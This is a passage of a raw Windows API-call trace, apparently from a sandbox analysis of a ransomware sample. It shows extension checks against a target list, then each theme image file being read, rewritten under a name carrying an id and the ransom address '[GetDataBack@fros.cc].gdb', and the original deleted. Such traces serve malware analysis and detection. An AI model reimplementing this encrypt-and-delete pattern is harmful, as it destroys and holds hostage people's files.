(lpString=".zip") returned 4 [0127.844] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0127.844] lstrlenW (lpString=".rar") returned 4 [0127.844] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0127.844] lstrlenW (lpString=".bz2") returned 4 [0127.844] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0127.844] lstrlenW (lpString=".7z") returned 3 [0127.844] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0127.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0127.844] lstrlenW (lpString=".dbf") returned 4 [0127.844] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0127.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0127.844] lstrlenW (lpString=".1cd") returned 4 [0127.844] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0127.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0127.844] lstrlenW (lpString=".jpg") returned 4 [0127.844] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0127.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0127.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0127.844] lstrlenW (lpString=".doc") returned 4 [0127.844] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0127.845] lstrlenW (lpString=".docx") returned 5 [0127.845] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0127.845] lstrlenW (lpString=".pdf") returned 4 [0127.845] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0127.845] lstrlenW (lpString=".xls") returned 4 [0127.845] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0127.845] lstrlenW (lpString=".xlsx") returned 5 [0127.845] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0127.845] lstrlenW (lpString=".ppt") returned 4 [0127.845] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0127.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0127.845] lstrlenW (lpString=".zip") returned 4 [0127.845] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0127.845] lstrlenW (lpString=".rar") returned 4 [0127.845] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0127.845] lstrlenW (lpString=".bz2") returned 4 [0127.845] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0127.845] lstrlenW (lpString=".7z") returned 3 [0127.845] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0127.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0127.845] lstrlenW (lpString=".dbf") returned 4 [0127.845] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0127.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0127.845] lstrlenW (lpString=".1cd") returned 4 [0127.845] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0127.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0127.845] lstrlenW (lpString=".jpg") returned 4 [0127.845] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0127.845] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0127.846] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0127.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0127.846] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=29305) returned 1 [0127.846] CloseHandle (hObject=0x1d4) returned 1 [0127.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 0x20 [0127.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0127.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0127.846] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0127.847] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0127.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0127.848] GetLastError () returned 0x0 [0127.848] ReadFile (in: hFile=0x1d4, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x7279, lpOverlapped=0x0) returned 1 [0127.851] WriteFile (in: hFile=0x220, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x7280, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x7280, lpOverlapped=0x0) returned 1 [0127.861] ReadFile (in: hFile=0x1d4, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0127.861] WriteFile (in: hFile=0x220, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xec, lpOverlapped=0x0) returned 1 [0127.861] SetEndOfFile (hFile=0x220) returned 1 [0127.861] CloseHandle (hObject=0x220) returned 1 [0127.861] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0127.861] SetEndOfFile (hFile=0x1d4) returned 1 [0127.862] CloseHandle (hObject=0x1d4) returned 1 [0127.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0127.863] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 1 [0127.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0127.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0127.863] lstrlenW (lpString=".doc") returned 4 [0127.863] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0127.863] lstrlenW (lpString=".docx") returned 5 [0127.863] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0127.863] lstrlenW (lpString=".pdf") returned 4 [0127.863] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0127.863] lstrlenW (lpString=".xls") returned 4 [0127.863] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0127.863] lstrlenW (lpString=".xlsx") returned 5 [0127.863] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0127.863] lstrlenW (lpString=".ppt") returned 4 [0127.863] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0127.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0127.863] lstrlenW (lpString=".zip") returned 4 [0127.863] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0127.863] lstrlenW (lpString=".rar") returned 4 [0127.864] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0127.864] lstrlenW (lpString=".bz2") returned 4 [0127.864] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0127.864] lstrlenW (lpString=".7z") returned 3 [0127.864] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0127.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0127.864] lstrlenW (lpString=".dbf") returned 4 [0127.864] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0127.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0127.864] lstrlenW (lpString=".1cd") returned 4 [0127.864] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0127.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0127.864] lstrlenW (lpString=".jpg") returned 4 [0127.864] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0127.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0127.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0127.864] lstrlenW (lpString=".doc") returned 4 [0127.864] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0127.864] lstrlenW (lpString=".docx") returned 5 [0127.864] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0127.864] lstrlenW (lpString=".pdf") returned 4 [0127.864] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0127.864] lstrlenW (lpString=".xls") returned 4 [0127.864] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0127.864] lstrlenW (lpString=".xlsx") returned 5 [0127.864] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0127.864] lstrlenW (lpString=".ppt") returned 4 [0127.864] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0127.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0127.864] lstrlenW (lpString=".zip") returned 4 [0127.864] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0127.864] lstrlenW (lpString=".rar") returned 4 [0127.865] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0127.865] lstrlenW (lpString=".bz2") returned 4 [0127.865] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0127.865] lstrlenW (lpString=".7z") returned 3 [0127.865] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0127.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0127.865] lstrlenW (lpString=".dbf") returned 4 [0127.865] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0127.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0127.865] lstrlenW (lpString=".1cd") returned 4 [0127.865] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0127.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0127.865] lstrlenW (lpString=".jpg") returned 4 [0127.865] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0127.865] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0127.865] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0127.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0128.323] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=1009) returned 1 [0128.323] CloseHandle (hObject=0x1fc) returned 1 [0128.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 0x20 [0128.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0128.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0128.323] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0128.323] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0128.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0128.324] GetLastError () returned 0x0 [0128.324] ReadFile (in: hFile=0x1fc, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x3f1, lpOverlapped=0x0) returned 1 [0128.325] WriteFile (in: hFile=0x1b0, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x400, lpOverlapped=0x0) returned 1 [0128.328] ReadFile (in: hFile=0x1fc, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0128.328] WriteFile (in: hFile=0x1b0, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xea, lpOverlapped=0x0) returned 1 [0128.328] SetEndOfFile (hFile=0x1b0) returned 1 [0128.328] CloseHandle (hObject=0x1b0) returned 1 [0128.328] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0128.328] SetEndOfFile (hFile=0x1fc) returned 1 [0128.329] CloseHandle (hObject=0x1fc) returned 1 [0128.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0128.329] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 1 [0128.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0128.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0128.330] lstrlenW (lpString=".doc") returned 4 [0128.330] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0128.330] lstrlenW (lpString=".docx") returned 5 [0128.330] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0128.330] lstrlenW (lpString=".pdf") returned 4 [0128.330] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0128.330] lstrlenW (lpString=".xls") returned 4 [0128.330] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0128.330] lstrlenW (lpString=".xlsx") returned 5 [0128.330] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0128.330] lstrlenW (lpString=".ppt") returned 4 [0128.330] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0128.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0128.330] lstrlenW (lpString=".zip") returned 4 [0128.330] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0128.330] lstrlenW (lpString=".rar") returned 4 [0128.330] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0128.330] lstrlenW (lpString=".bz2") returned 4 [0128.330] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0128.330] lstrlenW (lpString=".7z") returned 3 [0128.330] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0128.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0128.330] lstrlenW (lpString=".dbf") returned 4 [0128.330] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0128.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0128.330] lstrlenW (lpString=".1cd") returned 4 [0128.330] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0128.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0128.330] lstrlenW (lpString=".jpg") returned 4 [0128.330] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0128.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0128.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0128.331] lstrlenW (lpString=".doc") returned 4 [0128.331] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0128.331] lstrlenW (lpString=".docx") returned 5 [0128.331] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0128.332] lstrlenW (lpString=".pdf") returned 4 [0128.343] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0128.343] lstrlenW (lpString=".xls") returned 4 [0128.343] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0128.343] lstrlenW (lpString=".xlsx") returned 5 [0128.343] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0128.343] lstrlenW (lpString=".ppt") returned 4 [0128.343] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0128.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0128.343] lstrlenW (lpString=".zip") returned 4 [0128.343] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0128.343] lstrlenW (lpString=".rar") returned 4 [0128.343] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0128.343] lstrlenW (lpString=".bz2") returned 4 [0128.343] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0128.343] lstrlenW (lpString=".7z") returned 3 [0128.344] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0128.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0128.344] lstrlenW (lpString=".dbf") returned 4 [0128.344] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0128.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0128.344] lstrlenW (lpString=".1cd") returned 4 [0128.344] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0128.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0128.344] lstrlenW (lpString=".jpg") returned 4 [0128.344] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0128.344] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0128.344] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0128.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0128.345] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=2527) returned 1 [0128.345] CloseHandle (hObject=0x1fc) returned 1 [0128.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 0x20 [0128.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0128.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0128.345] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0128.345] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0128.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0128.792] GetLastError () returned 0x0 [0128.792] ReadFile (in: hFile=0x1fc, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x9df, lpOverlapped=0x0) returned 1 [0128.803] WriteFile (in: hFile=0x208, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x9e0, lpOverlapped=0x0) returned 1 [0128.804] ReadFile (in: hFile=0x1fc, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0128.804] WriteFile (in: hFile=0x208, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xea, lpOverlapped=0x0) returned 1 [0128.804] SetEndOfFile (hFile=0x208) returned 1 [0128.804] CloseHandle (hObject=0x208) returned 1 [0128.804] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0128.804] SetEndOfFile (hFile=0x1fc) returned 1 [0128.805] CloseHandle (hObject=0x1fc) returned 1 [0128.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0128.805] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 1 [0128.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0128.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0128.806] lstrlenW (lpString=".doc") returned 4 [0128.806] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0128.806] lstrlenW (lpString=".docx") returned 5 [0128.806] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0128.806] lstrlenW (lpString=".pdf") returned 4 [0128.806] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0128.806] lstrlenW (lpString=".xls") returned 4 [0128.806] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0128.806] lstrlenW (lpString=".xlsx") returned 5 [0128.806] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0128.806] lstrlenW (lpString=".ppt") returned 4 [0128.806] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0128.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0128.806] lstrlenW (lpString=".zip") returned 4 [0128.806] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0128.806] 